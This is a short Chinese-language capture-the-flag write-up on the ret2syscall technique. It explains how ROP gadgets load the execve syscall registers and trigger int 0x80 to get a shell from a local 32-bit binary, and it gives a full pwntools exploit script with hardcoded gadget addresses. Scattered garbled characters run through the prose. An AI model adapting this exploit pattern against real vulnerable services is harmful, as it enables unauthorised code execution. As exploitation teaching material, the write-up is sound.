ret2syscall
学辱,即控制程序執(zhí)行系統(tǒng)調(diào)用乘瓤,獲取 shell
(很短的一句話,蘊含著大道理)
思考
1.程序只給我們/bin/sh
但是沒給我們system
函數(shù) 構造不了sysytem(/bin/sh)
,仔細觀察策泣,發(fā)現(xiàn)了int 80
(自行百度)
2.只要我們把對應獲取 shell
的系統(tǒng)調(diào)用的參數(shù)放到對應的寄存器中衙傀,那么我們在執(zhí)行 int 0x80
就可執(zhí)行對應的系統(tǒng)調(diào)用。 例如:
execve("/bin/sh",NULL,NULL) #oxb是execve的系統(tǒng)調(diào)用號
3.32 位
系統(tǒng)調(diào)用號萨咕,即 eax 應該為 0xb
第一個參數(shù)统抬,即 ebx 應該指向 /bin/sh 的地址,其實執(zhí)行 sh 的地址也可以。
第二個參數(shù)聪建,即 ecx 應該為 0
第三個參數(shù)钙畔,即 edx 應該為 0
EXP
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421 #ROPgadget --binary rop --only "int"
bin_sh_addr = 0x80be408
payload = 'A' * 112
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) ##構造execve里面的內(nèi)容
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += p32(int_0x80) # int 80調(diào)用的是eax的系統(tǒng)調(diào)用號
sh.sendline(payload)
sh.interactive()
注:int 80 不理解可以學習一下這篇文章:http://www.reibang.com/p/5ea7016e60c8